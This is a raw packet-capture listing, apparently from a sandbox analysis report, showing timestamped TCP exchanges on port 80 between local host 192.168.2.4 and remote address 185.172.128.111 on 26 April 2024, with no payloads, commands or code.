Apr 26, 2024 09:41:12.370508909 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.370624065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.370656013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.370666981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.370691061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.370748043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.370788097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.370942116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.370992899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.371033907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.371073008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.371087074 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.371099949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.371114016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.371134996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.371180058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.371222019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.371241093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.371284962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.371290922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.371306896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.371332884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.371344090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.371495008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.371542931 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.371870041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.371917009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.371948004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.371964931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.371990919 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.372000933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.372030020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.372072935 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.372291088 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.372338057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.372350931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.372386932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.372585058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.372634888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.372653961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.372697115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.374208927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.374258995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.387465954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.387526989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.387543917 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.387562037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.387588978 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.387597084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.395828009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.395862103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.395894051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.395910025 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.395927906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.395970106 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.395986080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.396023989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.396260023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.396308899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.396327972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.396368980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.396440029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.396482944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.396513939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.396557093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.396590948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.396634102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.396712065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.396761894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.396781921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.396821976 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.396838903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.396879911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.396913052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.396958113 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.396975994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.396994114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.397012949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.397027969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.397080898 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.397123098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.397511959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.397557974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.397571087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.397598028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.397888899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.397938013 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.397955894 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398001909 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.398034096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398075104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.398093939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398134947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.398161888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398205996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.398224115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398257017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398271084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.398298979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.398338079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398384094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.398402929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398444891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.398463011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398494959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398509026 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.398540020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.398549080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398590088 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.398699999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398741961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.398845911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398889065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.398951054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.398996115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.399013996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.399056911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.399075031 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.399092913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.399117947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.399131060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.399154902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.399188995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.399205923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.399252892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.399338961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.399386883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.399410963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.399451971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.399512053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.399560928 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.399578094 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.399615049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.399817944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.399871111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.399888039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.399931908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.399965048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400008917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400026083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400070906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400089025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400127888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400146008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400180101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400196075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400232077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400264978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400310040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400326967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400350094 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400362968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400387049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400413036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400448084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400454044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400496960 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400505066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400533915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400552034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400588989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400621891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400662899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400696039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400738001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400769949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400811911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400836945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400878906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.400897026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.400938988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.401020050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.401068926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.401089907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.401129961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.401160955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.401179075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.401202917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.401213884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.401241064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.401278973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.401287079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.401318073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.401350975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.401391983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.401778936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.401829004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.401846886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.401885033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.401892900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.401925087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.401941061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.401976109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.401983976 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.402014017 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.402061939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.402102947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.402188063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.402232885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.402240038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.402281046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.402326107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.402374029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.402395010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.402437925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.402455091 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.402492046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.402509928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.402550936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.402569056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.402611017 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.402628899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.402664900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.402681112 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.402777910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.410948992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.411032915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.411051035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.411092043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.411308050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.411324978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.411355972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.411371946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.411398888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.411442995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.411504030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.411520958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.411571026 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.411571026 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.411587954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.411619902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.421760082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.421842098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.421852112 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.421905041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.421921968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.421967030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.421982050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.422024965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.422108889 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.422158957 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.422177076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.422240973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.422255039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.422272921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.422291994 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.422307968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.422406912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.422450066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.422482014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.422523022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.422574997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.422590971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.422615051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.422630072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.422671080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.422722101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.422753096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.422800064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.422847033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.422873020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.422883034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.422905922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.423010111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.423062086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.423094034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.423140049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.423578978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.423631907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.424441099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.424489021 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.424766064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.424818039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.424856901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.424900055 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.425009966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.425061941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.425143957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.425194025 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.425226927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.425268888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.425338030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.425384998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.425416946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.425463915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.425606012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.425657988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.425767899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.425817013 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.425849915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.425889969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.425941944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.425987959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.426003933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.426045895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.426361084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.426414967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.426433086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.426476002 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.426493883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.426538944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.426557064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.426604033 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.426635981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.426685095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.426708937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.426753044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.426788092 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.426826954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.426882029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.426928997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.426990986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.427007914 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.427041054 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.427054882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.427119017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.427161932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.427195072 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.427243948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.440238953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.440258980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.440296888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.440308094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.440341949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.440361023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.440388918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.440398932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.440429926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.440471888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.440494061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.440534115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.440963984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.441005945 CEST	49730	80	192.168.2.4	185.172.128.111
